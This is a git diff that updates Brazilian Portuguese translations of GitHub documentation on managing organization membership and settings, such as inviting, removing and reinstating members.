-intro: 'While you can add users to an organization you''ve created, you can''t create personal user accounts on behalf of another person.'
+title: Posso criar contas para as pessoas na minha organização?
+intro: 'Embora você possa adicionar usuários a uma organização que criou, não é possível criar contas de usuário pessoais em nome de outra pessoa.'
 redirect_from:
   - /articles/can-i-create-accounts-for-those-in-my-organization
   - /articles/can-i-create-accounts-for-people-in-my-organization
@@ -11,21 +11,21 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Create accounts for people
+shortTitle: Criar contas para pessoas
 ---
 
-## About user accounts
+## Sobre as contas de usuário
 
-Because you access an organization by logging in to a user account, each of your team members needs to create their own user account. After you have usernames for each person you'd like to add to your organization, you can add the users to teams.
+Como você acessa uma organização acessando uma conta de usuário, cada um dos integrantes da sua equipe deverá criar sua própria conta de usuário. Depois que você tiver nomes de usuário para cada pessoa que deseja adicionar à sua organização, você poderá adicionar os usuários às equipes.
 
 {% ifversion fpt or ghec %}
-{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %} can use SAML single sign-on to centrally manage the access that user accounts have to the organization's resources through an identity provider (IdP). For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+{% ifversion fpt %}As organizações que usam {% data variables.product.prodname_ghe_cloud %}{% else %}Você{% endif %} podem usar o logon único SAML para gerenciar centralmente o acesso que as contas de usuários têm para os recursos da organização por meio de um provedor de identidade (IdP). Para obter mais informações, consulte "[Sobre identidade e gerenciamento de acesso com logon único SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %} .{% else %}."{% endif %}
 
-You can also consider {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %}
+Você também pode considerar {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %}
 {% endif %}
 
-## Adding users to your organization
+## Adicionar usuários à organização
 
-1. Provide each person instructions to [create a user account](/articles/signing-up-for-a-new-github-account).
-2. Ask for the username of each person you want to give organization membership to.
-3. [Invite the new personal accounts to join](/articles/inviting-users-to-join-your-organization) your organization. Use [organization roles](/articles/permission-levels-for-an-organization) and [repository permissions](/articles/repository-permission-levels-for-an-organization) to limit the access of each account.
+1. Forneça instruções para cada pessoa para [criar uma conta de usuário](/articles/signing-up-for-a-new-github-account).
+2. Peça o nome de usuário de cada pessoa a quem deseja conceder associação à organização.
+3. [Convide as novas contas pessoais para ingressar](/articles/inviting-users-to-join-your-organization) na sua organização. Use as [funções da organização](/articles/permission-levels-for-an-organization) e [permissões de repositório](/articles/repository-permission-levels-for-an-organization) para limitar o acesso de cada conta.
diff --git a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
index 6df920f16c..ad2cecf766 100644
--- a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Exporting member information for your organization
-intro: You can export information about members in your organization, directly from the user interface.
+title: Exportando as informações de integrante para a sua organização
+intro: 'Você pode exportar informações sobre os integrantes da sua organização, diretamente da interface do usuário.'
 permissions: Organization owners can export member information for their organization.
 versions:
   fpt: '*'
@@ -10,16 +10,23 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Export member information
+shortTitle: Exportar informações do integrante
 ---
 
-You can export information about members in your organization. This is useful if you want to perform an audit of users within the organization. The exported information includes username and display name details, and whether the membership is public or private.
+Você pode exportar informações sobre os integrantes da sua organização. Isso é útil se você deseja realizar uma auditoria aos usuários dentro da organização.
 
-You can get member information directly from the {% data variables.product.product_name %} user interface, or using APIs. This article explains how to obtain member information from within {% data variables.product.product_name %}.
+As informações exportadas incluem:
+- Detalhes do nome de usuário e exibição
+- Se o usuário tem autenticação de dois fatores habilitada
+- Se a associação é pública ou privada
+- Se o usuário é um proprietário ou integrante da organização
+- Data e hora da última atividade do usuário (para uma lista completa da atividade relevante, consulte "[Gerenciando usuários inativos](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)")
 
-For more information about the APIs, see our [GraphQL API](/graphql/reference/objects#user) and [REST API](/rest/reference/users) documentation about users.
+Você pode obter informações dos membros diretamente da interface de usuário {% data variables.product.product_name %} ou usando APIs. Este artigo explica como obter informações dos membros de dentro de {% data variables.product.product_name %}.
+
+Para obter mais informações sobre as APIs, consulte a nossa [API do GraphQL](/graphql/reference/objects#user) e [API REST](/rest/reference/users) documentação sobre os usuários.
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-{% data reusables.organizations.people-export %}
\ No newline at end of file
+{% data reusables.organizations.people-export %}
diff --git a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/index.md b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/index.md
index 1216f530f7..0652364b68 100644
--- a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/index.md
+++ b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing membership in your organization
-intro: 'After you create your organization, you can {% ifversion fpt %}invite people to become{% else %}add people as{% endif %} members of the organization. You can also remove members of the organization, and reinstate former members.'
+title: Gerenciar associação na organização
+intro: 'Depois de criar a organização, é possível {% ifversion fpt %}convidar pessoas para se tornarem{% else %}adicionar pessoas como{% endif %} integrantes da organização. Você também pode remover integrantes da organização e restabelecer ex-integrantes.'
 redirect_from:
   - /articles/removing-a-user-from-your-organization
   - /articles/managing-membership-in-your-organization
@@ -21,6 +21,7 @@ children:
   - /reinstating-a-former-member-of-your-organization
   - /exporting-member-information-for-your-organization
   - /can-i-create-accounts-for-people-in-my-organization
-shortTitle: Manage membership
+shortTitle: Gerenciar associação
 ---
+
 <!-- else -->
diff --git a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
index 31b090c1f3..27e371a86d 100644
--- a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Inviting users to join your organization
-intro: 'You can invite anyone to become a member of your organization using their username or email address for {% data variables.product.product_location %}.'
+title: Convidar usuários para sua organização
+intro: 'Você pode convidar qualquer pessoa para se tornar um integrante da sua organização usando o nome de usuário ou endereço de e-mail deles para {% data variables.product.product_location %}.'
 permissions: Organization owners can invite users to join an organization.
 redirect_from:
   - /articles/adding-or-inviting-members-to-a-team-in-an-organization
@@ -12,20 +12,20 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Invite users to join
+shortTitle: Convidar usuários para participar
 ---
 
-## About organization invitations
+## Sobre convites para a organização
 
-If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." 
+Se a organização tiver uma assinatura paga por usuário, ela deverá ter uma licença não utilizada disponível para você poder convidar um integrante para participar da organização ou restabelecer um ex-integrante da organização. Para obter mais informações, consulte "[Sobre preços por usuário](/articles/about-per-user-pricing)".
 
 {% data reusables.organizations.org-invite-scim %}
 
-If your organization requires members to use two-factor authentication, users that you invite must enable two-factor authentication before accepting the invitation. For more information, see "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)" and "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)."
+Se a sua organização exige que os integrantes usem a autenticação de dois fatores, os usuários que você convidar deverão ativar a autenticação de dois fatores antes de aceitar o convite. Para mais informações, consulte "[Exigir a autenticação de dois fatores na sua organização](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)" e[Proteger a sua conta com a autenticação de dois fatores (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)".
 
-{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %} can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.prodname_dotcom_the_website %} through an identity provider (IdP). For more information, see "[About SCIM](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+{% ifversion fpt %}As organizações que usam {% data variables.product.prodname_ghe_cloud %}{% else %}Você{% endif %} podem implementar o SCIM para adicionar, gerenciar e remover o acesso dos integrantes da organização a {% data variables.product.prodname_dotcom_the_website %} por meio de um provedor de identidade (IdP). Para obter mais informações, consulte "[Sobre o SCIM](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %} .{% else %}."{% endif %}
 
-## Inviting a user to join your organization
+## Convidando um usuário para participar da sua organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -38,5 +38,5 @@ If your organization requires members to use two-factor authentication, users th
 {% data reusables.organizations.send-invitation %}
 {% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %}
 
-## Further reading
-- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)"
+## Leia mais
+- "[Adicionar integrantes da organização a uma equipe](/articles/adding-organization-members-to-a-team)"
diff --git a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md
index c846119a93..61c0e1d593 100644
--- a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Reinstating a former member of your organization
-intro: 'Organization owners can {% ifversion fpt or ghec %}invite former organization members to rejoin{% else %}add former members to{% endif%} your organization, and choose whether to restore the person''s former role, access permissions, forks, and settings.'
+title: Restabelecer ex-integrantes da organização
+intro: 'Os proprietários da organização podem {% ifversion fpt or ghec %}convidar ex-integrantes da organização a voltar a juntar-se{% else %}e adicionar ex-integrantes {% endif%} à sua organização e escolher se deseja restaurar a função anterior, as permissões de acesso, as bifurcações e as configurações dessa pessoa.'
 redirect_from:
   - /articles/reinstating-a-former-member-of-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/reinstating-a-former-member-of-your-organization
@@ -13,33 +13,33 @@ permissions: Organization owners can reinstate a former member of an organizatio
 topics:
   - Organizations
   - Teams
-shortTitle: Reinstate a member
+shortTitle: Restabelecer um integrante
 ---
 
-## About member reinstatement
+## Sobre a reintegração de integrantes
 
-If you [remove a user from your organization](/articles/removing-a-member-from-your-organization){% ifversion ghae %} or{% else %},{% endif %} [convert an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator){% ifversion not ghae %}, or a user is removed from your organization because you've [required members and outside collaborators to enable two-factor authentication (2FA)](/articles/requiring-two-factor-authentication-in-your-organization){% endif %}, the user's access privileges and settings are saved for three months. You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame.
+Se você [remover um usuário da sua organização](/articles/removing-a-member-from-your-organization){% ifversion ghae %} ou{% else %},{% endif %} [converter um integrante da organização em um colaborador externo](/articles/converting-an-organization-member-to-an-outside-collaborator){% ifversion not ghae %}, ou um usuário foi removido da sua organização porque você [pediu aos integrantes e colaboradores externos para habilitar a autenticação de dois fatores (2FA)](/articles/requiring-two-factor-authentication-in-your-organization){% endif %}, os privilégios e configurações do usuário ficarão salvos por três meses. Você poderá restaurar os privilégios do usuário se {% ifversion fpt or ghec %}convidá-lo{% else %}adicioná-lo{% endif %} novamente na organização durante esse período.
 
 {% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %}
 
-When you reinstate a former organization member, you can restore:
- - The user's role in the organization
- - Any private forks of repositories owned by the organization
- - Membership in the organization's teams
- - Previous access and permissions for the organization's repositories
- - Stars for organization repositories
- - Issue assignments in the organization
- - Repository subscriptions (notification settings for watching, not watching, or ignoring a repository's activity)
+Ao restabelecer um ex-integrante da organização, você pode restaurar:
+ - A função do usuário na organização
+ - As bifurcações privadas de repositórios de propriedade da organização
+ - A associação nas equipes da organização
+ - Os acessos e permissões anteriores nos repositórios da organização
+ - As estrelas dos repositórios da organização
+ - As atribuições de problemas na organização
+ - As assinaturas do repositório (configurações de notificação para inspecionar, não inspecionar ou ignorar as atividades de um repositório)
 
 {% ifversion ghes %}
-If an organization member was removed from the organization because they did not use two-factor authentication and your organization still requires members to use 2FA, the former member must enable two-factor authentication before you can reinstate their membership.
+Se um integrante foi removido da organização por não usar a autenticação de dois fatores e a organização ainda exigir essa autenticação, o ex-integrante precisará habilitar a autenticação de dois fatores antes de você restabelecer a associação.
 {% endif %}
 
 {% ifversion fpt or ghec %}
-If your organization has a paid per-user subscription, an unused license must be available before you can reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." {% data reusables.organizations.org-invite-scim %}
+Se a sua organização tem uma assinatura paga por usuário, uma licença não utilizada deve estar disponível antes de você poder restabelecer um antigo integrante da organização. Para obter mais informações, consulte "[Sobre preços por usuário](/articles/about-per-user-pricing)". {% data reusables.organizations.org-invite-scim %}
 {% endif %}
 
-## Reinstating a former member of your organization
+## Restabelecer ex-integrantes da organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -47,23 +47,19 @@ If your organization has a paid per-user subscription, an unused license must be
 {% data reusables.organizations.invite_member_from_people_tab %}
 {% data reusables.organizations.reinstate-user-type-username %}
 {% ifversion fpt or ghec %}
-6. Choose whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Invite and reinstate** or **Invite and start fresh**.
-  ![Choose to restore info or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png)
+6. Escolha se deseja restaurar os privilégios anteriores da pessoa na organização ou apagar os privilégios anteriores e definir novas permissões de acesso, depois clique em **Invite and reinstate** (Convidar e restabelecer) ou em **Invite and start fresh** (Convidar e começar do zero). ![Escolher restaurar as informações ou não](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png)
 {% else %}
-6. Choose whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Add and reinstate** or **Add and start fresh**.
-  ![Choose whether to restore privileges](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png)
+6. Escolha se deseja restaurar os privilégios anteriores da pessoa na organização ou apagar os privilégios anteriores e definir novas permissões de acesso, depois clique em **Add and reinstate** (Adicionar e restabelecer) ou em **Add and start fresh** (Adicionar e começar do zero). ![Escolher se deseja restaurar os privilégios](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png)
 {% endif %}
 {% ifversion fpt or ghec %}
-7. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Send invitation**.
-  ![Role and team options and send invitation button](/assets/images/help/organizations/add-role-send-invitation.png)
+7. Se você apagou os privilégios anteriores de um ex-integrante da organização, escolha uma função para o usuário e adicione-o em algumas equipes (opcional), depois clique em **Send invitation** (Enviar convite). ![Opções Role and team (Função e equipe) e botão send invitation (enviar convite)](/assets/images/help/organizations/add-role-send-invitation.png)
 {% else %}
-7. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Add member**.
-  ![Role and team options and add member button](/assets/images/help/organizations/add-role-add-member.png)
+7. Se você apagou os privilégios anteriores de um ex-integrante da organização, escolha uma função para o usuário e adicione-o em algumas equipes (opcional), depois clique em **Add member** (Adicionar integrante). ![Opções Role and team (Função e equipe) e botão add member (adicionar integrante)](/assets/images/help/organizations/add-role-add-member.png)
 {% endif %}
 {% ifversion fpt or ghec %}
 {% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %}
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)"
+- "[Converter um integrante da organização em colaborador externo](/articles/converting-an-organization-member-to-an-outside-collaborator)"
diff --git a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
index 160e49af6a..f737f7570b 100644
--- a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a member from your organization
-intro: 'If members of your organization no longer require access to any repositories owned by the organization, you can remove them from the organization.'
+title: Remover um integrante da organização
+intro: 'Se integrantes não precisarem mais acessar os repositórios pertencentes à organização, você poderá removê-los da organização.'
 redirect_from:
   - /articles/removing-a-member-from-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/removing-a-member-from-your-organization
@@ -12,22 +12,22 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Remove a member
+shortTitle: Remover um integrante
 ---
 
-Only organization owners can remove members from an organization.
+Somente proprietários da organização podem remover integrantes da organização.
 
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning:** When you remove members from an organization:
-- The paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in "[Downgrading your organization's paid seats](/articles/downgrading-your-organization-s-paid-seats)."
-- Removed members will lose access to private forks of your organization's private repositories, but they may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property.
+**Aviso:** Ao remover integrantes de uma organização:
+- O número de licenças pagas não faz o downgrade automaticamente. Para pagar menos licenças depois de remover os usuários da sua organização, siga as etapas em "[Fazer o downgrade das estações pagas da sua organização](/articles/downgrading-your-organization-s-paid-seats)".
+- Os integrantes removidos perderão o acesso às bifurcações privadas dos repositórios privados da sua organização, mas ainda poderão ter cópias locais. No entanto, eles não conseguem sincronizar as cópias locais com os repositórios da organização. As bifurcações privadas poderão ser restauradas se o usuário for [restabelecido como um integrante da organização](/articles/reinstating-a-former-member-of-your-organization) em até três meses após sua remoção da organização. Em última análise, você é responsável por garantir que as pessoas que perderam o acesso a um repositório excluam qualquer informação confidencial ou de propriedade intelectual.
 {%- ifversion ghec %}
--  Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+-  Os integrantes removidos também perderão acesso a bifurcações privadas dos repositórios internos da sua organização, se o integrante removido não for integrante de qualquer outra organização pertencente à mesma conta corporativa. Para obter mais informações, consulte "[Sobre contas corporativas](/admin/overview/about-enterprise-accounts)".
 {%- endif %}
-- Any organization invitations sent by a removed member, that have not been accepted, are cancelled and will not be accessible.
+- Quaisquer convites para organizações enviados por um integrante removido que não foram aceitos, serão cancelados e não serão acessíveis.
 
 {% endwarning %}
 
@@ -35,10 +35,10 @@ Only organization owners can remove members from an organization.
 
 {% warning %}
 
-**Warning:** When you remove members from an organization:
- - Removed members will lose access to private forks of your organization's private repositories, but may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property.
-- Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization in your enterprise.
- - Any organization invitations sent by the removed user, that have not been accepted, are cancelled and will not be accessible.
+**Aviso:** Ao remover integrantes de uma organização:
+ - Os integrantes removidos perderão o acesso às bifurcações privadas dos repositórios privados da sua organização, mas ainda poderão ter cópias locais. No entanto, eles não conseguem sincronizar as cópias locais com os repositórios da organização. As bifurcações privadas poderão ser restauradas se o usuário for [restabelecido como um integrante da organização](/articles/reinstating-a-former-member-of-your-organization) em até três meses após sua remoção da organização. Em última análise, você é responsável por garantir que as pessoas que perderam o acesso a um repositório excluam qualquer informação confidencial ou de propriedade intelectual.
+- Os integrantes removidos também perderão acesso a bifurcações privadas dos repositórios internos da sua organização, se o integrante removido não for um integrante de outra organização na sua empresa.
+ - Quaisquer convites para organizações enviados pelo usuário removido, que não foram aceitos, serão cancelados e não serão acessíveis.
 
 {% endwarning %}
 
@@ -46,24 +46,21 @@ Only organization owners can remove members from an organization.
 
 {% ifversion fpt or ghec %}
 
-To help the person you're removing from your organization transition and help ensure they delete confidential information or intellectual property, we recommend sharing a checklist of best practices for leaving your organization. For an example, see "[Best practices for leaving your company](/articles/best-practices-for-leaving-your-company/)."
+Para auxiliar a transição e garantir a exclusão das informações confidenciais ou de propriedade intelectual, recomendamos o compartilhamento de uma lista de práticas recomendadas ao sair da organização com o usuário que está sendo removido. Consulte um exemplo em "[Práticas recomendadas para sair da empresa](/articles/best-practices-for-leaving-your-company/)".
 
 {% endif %}
 
 {% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %}
 
-## Revoking the user's membership
+## Revogar a associação do usuário
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Select the member or members you'd like to remove from the organization.
-  ![List of members with two members selected](/assets/images/help/teams/list-of-members-selected-bulk.png)
-5. Above the list of members, use the drop-down menu, and click **Remove from organization**.
-  ![Drop-down menu with option to remove members](/assets/images/help/teams/user-bulk-management-options.png)
-6. Review the member or members who will be removed from the organization, then click **Remove members**.
-  ![List of members who will be removed and Remove members button](/assets/images/help/teams/confirm-remove-members-bulk.png)
+4. Selecione um ou mais integrantes que deseja remover da organização. ![Lista de integrantes com dois integrantes selecionados](/assets/images/help/teams/list-of-members-selected-bulk.png)
+5. Acima da lista de integrantes, use o menu suspenso e clique **Remove from organization** (Remover da organização). ![Menu suspenso com opção de remover integrantes](/assets/images/help/teams/user-bulk-management-options.png)
+6. Revise os integrantes que serão removidos da organização e clique em **Remove members** (Remover integrantes). ![Lista de integrantes que serão removidos e botão Remove members (Remover integrantes)](/assets/images/help/teams/confirm-remove-members-bulk.png)
 
-## Further reading
+## Leia mais
 
-- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)"
+- "[Remover integrantes da organização de uma equipe](/articles/removing-organization-members-from-a-team)"
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md b/translations/pt-BR/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md
index 4fcc9475d4..c9aa9e767b 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Allowing people to delete issues in your organization
-intro: Organization owners can allow certain people to delete issues in repositories owned by your organization.
+title: Permitir que as pessoas excluam problemas em sua organização
+intro: Os proprietários da organização podem permitir que determinadas pessoas excluam problemas em repositórios que pertencem à sua organização.
 redirect_from:
   - /articles/allowing-people-to-delete-issues-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-delete-issues-in-your-organization
@@ -12,16 +12,15 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Allow issue deletion
+shortTitle: Permitir exclusão de problema
 ---
 
-By default, issues cannot be deleted in an organization's repositories. An organization owner must enable this feature for all of the organization's repositories first.
+Por padrão, os problemas não podem ser excluídos dos repositórios de uma organização. Um proprietário da organização deve habilitar esse recurso primeiro para todos os repositórios da organização.
 
-Once enabled, organization owners and people with admin access in an organization-owned repository can delete issues. People with admin access in a repository include organization members and outside collaborators who were given admin access. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" and "[Deleting an issue](/articles/deleting-an-issue)."
+Uma vez habilitado, os proprietários da organização e as pessoas com acesso de administrador em um repositório pertencente à organização podem excluir os problemas. As pessoas com acesso de administrador em um repositório incluem integrantes da organização e colaboradores externos aos quais foi dado acesso de administrador. Para obter mais informações, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" e "[Excluindo um problema](/articles/deleting-an-issue)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Issue deletion", select **Allow members to delete issues for this organization**.
-![Checkbox to allow people to delete issues](/assets/images/help/settings/issue-deletion.png)
-6. Click **Save**.
+5. Em "Issue deletion" (Exclusão do problema), selecione **Allow members to delete issues for this organization** (Permitir que integrantes excluam problemas dessa organização). ![Caixa de seleção para permitir que as pessoas excluam problemas](/assets/images/help/settings/issue-deletion.png)
+6. Clique em **Salvar**.
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md b/translations/pt-BR/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
index 2465aeb1de..24fdfefa08 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
@@ -1,6 +1,6 @@
 ---
-title: Changing the visibility of your organization's dependency insights
-intro: You can allow all organization members to view dependency insights for your organization or limit viewing to organization owners.
+title: Alterar a visibilidade de informações de dependência da organização
+intro: Você pode permitir que todos os integrantes da organização exibam informações de dependência da sua organização ou limitar a exibição aos proprietários da organização.
 product: '{% data reusables.gated-features.org-insights %}'
 redirect_from:
   - /articles/changing-the-visibility-of-your-organizations-dependency-insights
@@ -11,16 +11,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Change insight visibility
+shortTitle: Mude a visibilidade da ideia
 ---
 
-Organization owners can set limitations for viewing organization dependency insights. All members of an organization can view organization dependency insights by default.
+Os proprietários da organização podem definir limitações para exibir informações de dependência da organização. Todos os integrantes de uma organização podem exibir informações de dependência da organização por padrão.
 
-Enterprise owners can set limitations for viewing organization dependency insights on all organizations in your enterprise account. For more information, see "[Enforcing policies for dependency insights in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."
+{% ifversion ghec %}
+Os proprietários corporativos podem definir limitações para exibir informações de dependência da organização em todas as organizações da sua conta corporativa. Para obter mais informações, consulte[Políticas de Insights de dependência na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)".
+{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Member organization permissions", select or unselect **Allow members to view dependency insights**.
-![Checkbox to allow members to view insights](/assets/images/help/organizations/allow-members-to-view-insights.png)
-6. Click **Save**.
+5. Em "Member organization permissions" (Permissões da organização do integrante), marque ou desmarque **Allow members to view dependency insights** (Permitir que integrantes exibam informações de dependência). ![Caixa de seleção para permitir que integrantes exibam informações](/assets/images/help/organizations/allow-members-to-view-insights.png)
+6. Clique em **Salvar**.
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md b/translations/pt-BR/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md
index c303abd963..9d62c5722e 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md
@@ -1,6 +1,6 @@
 ---
-title: Converting an organization into a user
-intro: 'It''s not possible to convert an organization into a personal user account, but you can create a new user account and transfer the organization''s repositories to it.'
+title: Converter uma organização em usuário
+intro: 'Não é possível converter uma organização em uma conta de usuário pessoal, mas você pode criar uma conta de usuário e transferir para ela os repositórios da organização.'
 redirect_from:
   - /articles/converting-an-organization-into-a-user
   - /github/setting-up-and-managing-organizations-and-teams/converting-an-organization-into-a-user
@@ -11,33 +11,33 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Convert organization to user
+shortTitle: Converter organização em usuário
 ---
 
 {% ifversion fpt or ghec %}
 
 {% note %}
 
-**Note**: After an account is deleted, the username at the time of deletion becomes unavailable for reuse for 90 days. To reuse an organization's username immediately, you must change the username before you delete the organization.
+**Observação**: Depois que uma conta é excluída, o nome de usuário no momento da exclusão ficará indisponível para reutilização por 90 dias. Para reutilizar o nome de usuário de uma organização imediatamente, você deverá alterar o nome de usuário antes de excluir a organização.
 
  {% endnote %}
 
-1. [Sign up](/articles/signing-up-for-a-new-github-account) for a new GitHub user account.
-2. [Have the user's role changed to an owner](/articles/changing-a-person-s-role-to-owner).
-3. {% data variables.product.signin_link %} to the new user account.
-4. [Transfer each organization repository](/articles/how-to-transfer-a-repository) to the new user account.
-5. [Rename the organization](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username) to make the current username available.
